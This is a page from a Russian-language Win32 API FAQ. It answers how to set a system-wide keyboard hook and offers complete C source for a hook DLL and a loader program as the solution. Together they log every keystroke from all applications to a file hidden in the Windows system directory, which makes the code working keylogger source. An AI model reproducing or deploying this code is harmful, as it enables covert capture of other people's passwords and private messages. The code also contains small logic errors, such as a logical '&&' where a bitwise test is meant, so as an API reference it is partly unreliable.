Win32 API FAQ
Страница 7.

10)---------------------------------------------------------------------------

    Q> Как поставить system-wide хук(например писать в файл все нажатия кнопок)

    A>

Для этого хук должен жить в длл.

текст DLL:

BOOL kdown=false;
HANDLE ghDLLInst = 0; // Handle to the DLL's instance.
char logname[MAX_PATH];
char sysdir[MAX_PATH];
DWORD NOfBytes;
BOOL shift=false;
HANDLE LFile;
char buffer[20];

BOOL WINAPI DllMain (HANDLE hModule, DWORD dwFunction, LPVOID lpNot)
{
       ghDLLInst = hModule;

       switch (dwFunction)
       {
           case DLL_PROCESS_ATTACH:
      {

      GetSystemDirectory(
         sysdir,
      MAX_PATH
      );

      strcpy(logname,sysdir);
      strcat(logname,"\\kbdkeys.txt");

      }
           case DLL_PROCESS_DETACH:
      {
      }

           default:
               break;
       }
       return TRUE;
}
//------------------------------------------------
    LRESULT CALLBACK KeyboardProc(
        int code, // hook code
        WPARAM wParam, // virtual-key code
        LPARAM lParam // keystroke-message information
      )
{
BYTE aa[4];
memcpy(aa,&lParam,4);
kdown=!(aa[3]&&64);
BYTE scancode=aa[2];
BYTE ww[4];
memcpy(ww,&wParam,4);

if (code<0)return CallNextHookEx(NULL,code,wParam,lParam);

if(kdown&&(wParam==VK_SHIFT))shift=true;

if(!kdown&&(wParam==VK_SHIFT))shift=false;

if (kdown&&(wParam!=VK_SHIFT))
{
sprintf( buffer ,"%c",wParam );
if(isalpha(ww[0])&(!shift))wParam=wParam+32;
sprintf( buffer ,"%c",wParam );
if(wParam==VK_RETURN)strcpy(buffer,"\n");

      LFile=CreateFile(logname, GENERIC_READ|GENERIC_WRITE,
FILE_SHARE_WRITE |
FILE_SHARE_READ |
FILE_SHARE_DELETE,NULL,OPEN_ALWAYS,
FILE_ATTRIBUTE_NORMAL,NULL);
     OVERLAPPED ovlp;
     DWORD ffsze=GetFileSize(LFile,NULL);
     ovlp.OffsetHigh=0;
     ovlp.hEvent=NULL;
      ovlp.Offset=ffsze;

     WriteFile(LFile,buffer,strlen(buffer),&NOfBytes,&ovlp);

     CloseHandle(LFile);
}
    return CallNextHookEx(NULL,code,wParam,lParam);
}
//----------------------------------------------------------------------//
текст приложения:

#include
#include
#include

int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance,
                        LPSTR lpCmdLine, int nCmdShow);

//---------------------------------------------------------------------//
BOOL
SetHook(
       BOOL fSet
       )
{
       static HHOOK hhkKbdHook = NULL;
       static HANDLE hmodHook;

       if (fSet)
       {
           if (!hmodHook)
           {
               if (!(hmodHook = LoadLibrary("kbdh.dll"))) //вышеприведенная длл
               {
                   return FALSE;
               }
           }

           if (!hhkKbdHook)
           {
            if (!(hhkKbdHook =
     SetWindowsHookEx(WH_KEYBOARD,(HOOKPROC)
     GetProcAddress((HINSTANCE)hmodHook,"KeyboardProc"),
(HINSTANCE)hmodHook,0)))
               {
                   return FALSE;
               }
           }

    }
       else
       {
           if (hhkKbdHook)
           {
               UnhookWindowsHookEx(hhkKbdHook);
               hhkKbdHook = NULL;
           }

       }

       return TRUE;
}
//--------------------------------------------------------------------//
int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance,
                        LPSTR lpCmdLine, int nCmdShow)
{
       if(!SetHook(true))MessageBox(NULL,"zad","zad",MB_OK);
       MSG msg;

     while (GetMessage (&msg, NULL, 0, 0))
     {
           TranslateMessage (&msg);
           DispatchMessage (&msg);
     }
    return( 0 );
}